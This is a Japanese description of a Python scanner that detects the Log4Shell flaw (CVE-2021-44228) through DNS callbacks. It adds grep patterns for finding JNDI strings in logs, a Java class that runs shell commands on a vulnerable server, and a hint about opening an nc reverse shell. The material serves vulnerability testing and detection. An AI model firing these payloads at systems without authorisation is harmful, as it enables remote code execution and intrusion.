このスクリプトは takito1812/log4j-detect をベースにしています
Python 3で開発されたスクリプト「log4j-detect.py」は、指定されたURLリストがCVE-2021-44228に対して脆弱かどうかを検出する役割を担います。
これを実現するために、スレッド(高パフォーマンス)を使用してGETリクエストを指定されたリスト内の各URLに送信します。GETリクエストには、成功時にBurp Collaborator / interactshへのDNSリクエストを返すペイロードが含まれています。このペイロードはテストパラメータと「User-Agent」/「Referer」/「X-Forwarded-For」/「Authentication」ヘッダーに送信されます。 最後に、ホストが脆弱な場合、識別番号がBurp Collaborator / interactshペイロードのサブドメインプレフィックスとスクリプトの出力に表示され、どのホストがDNS経由で応答したかを知ることができます。
このスクリプトは脆弱性のDNS検出のみを処理し、リモートコマンド実行をテストしないことに注意してください。
python3 log4j-detect.py -s <burpCollaborator/interactsh...> [-u [urls]] [-f [urlFileList]] [-t THREADS] [-p PROXY] [--urllib3-warnings|--no-urllib3-warnings]

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi)://[^\n]+' /var/log
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[
s]?|rmi)://[^\n]+'
誰かがldapサーバー経由で接続を試みたかどうかを確認するため
サーバーがpwnedされるかどうかをテストするために起動できるサンプルコードを以下に示します(Windowsシェルの場合は、powershell構文を使用するだけです)
public class ExportObject implements javax.naming.spi.ObjectFactory {
public ExportObject() {
try {
java.lang.getRuntime().exec("touch ~/pwned");
java.lang.getRuntime().exec("ls ~");
} catch (Exception e) {
e.printStackTrace();
}
}
}
このようなものを使えば、ncコマンドでリバースシェルを作成できる可能性があります